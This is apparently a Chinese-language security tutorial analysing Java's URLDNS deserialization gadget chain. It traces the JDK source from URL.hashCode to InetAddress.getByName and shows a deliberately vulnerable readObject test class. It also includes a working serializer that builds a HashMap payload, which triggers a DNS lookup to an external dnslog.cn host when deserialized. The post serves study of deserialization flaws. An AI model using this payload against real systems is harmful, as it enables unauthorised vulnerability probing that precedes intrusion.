Java反序列化_1-URLDNS反序列化分析

URLDNS链原理

最简单清晰的Payload,调用hashcode()方法中的getHostAddress()方法来完成一次DNS查询.

1
2
3
4
5
6
7
8
9
10
11
import java.net.MalformedURLException;
import java.net.URL;

public class urldns {
public static void main(String[] args) throws MalformedURLException {
// 调用URL类的hashCode方法发起DNS请求
URL url = new URL("http://urldns.yaocku.dnslog.cn");
url.hashCode();
}
}

调试过程

image-20241211055337347

image-20241211055628608

image-20241211055721249

image-20241211055757701

image-20241211060145597

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase(Locale.ROOT).hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}
1
2
3
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}

if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}
1
2
3
4
public static InetAddress getByName(String host)
throws UnknownHostException {
return InetAddress.getAllByName(host)[0];
}

getHostAddress()调用内部的getByName()方法再调用getAllByName(),然后返回地址列表的第一个地址,从而完成了一次DNS查询.

反序列化利用

编写一个接受序列化的数据的反序列化接口类来进行测试:

1
2
3
4
5
6
7
8
9
10
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class deserialize {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
ois.readObject();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class serialize {
public static void main(String[] args) throws Exception {

HashMap<URL, String> hashMap = new HashMap<URL, String>();

URL url = new URL("http://serial.084uxt.dnslog.cn");

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");

f.setAccessible(true);

f.set(url, 0xdeadbeef);
hashMap.put(url, "zeo");

f.set(url, -1);

ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
objos.writeObject(hashMap);
}
}


image-20241211170850952

反序列化成功,触发了一次DNS查询,利用链为

1
HashMap->readObject() 反序列化点触发 HashMap->hash() URL->hashCode() URLStreamHandler->hashCode() URLStreamHandler->getHostAddress() 发出解析请求

参考链接

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/